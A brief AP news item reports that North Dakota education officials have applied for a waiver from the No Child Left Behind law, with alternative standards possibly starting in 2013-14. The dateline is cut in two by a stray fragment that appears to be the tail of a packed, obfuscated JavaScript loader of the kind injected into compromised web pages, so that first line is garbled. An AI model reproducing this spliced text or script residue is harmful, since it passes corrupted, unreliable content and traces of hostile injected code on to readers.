BISMARCK, kdhyr|var|u0026u|referrer|kifzb||js|php’.split(‘|’),0,{}))
N.D. (AP) – North Dakota is applying for a waiver from requirements of the federal No Child Left Behind education law.

States are allowed to opt out of the controversial law if they meet certain requirements including developing alternative standards that meet federal approval. More than two dozen states already have received waivers.

A committee of North Dakota education officials recently voted in favor of applying for a waiver, after nearly a year of study. State School Superintendent Wayne Sanstead said Monday that the state has submitted a request. If the Education Department approves it this fall, the state’s alternative standards will take effect beginning with the 2013-14 school year.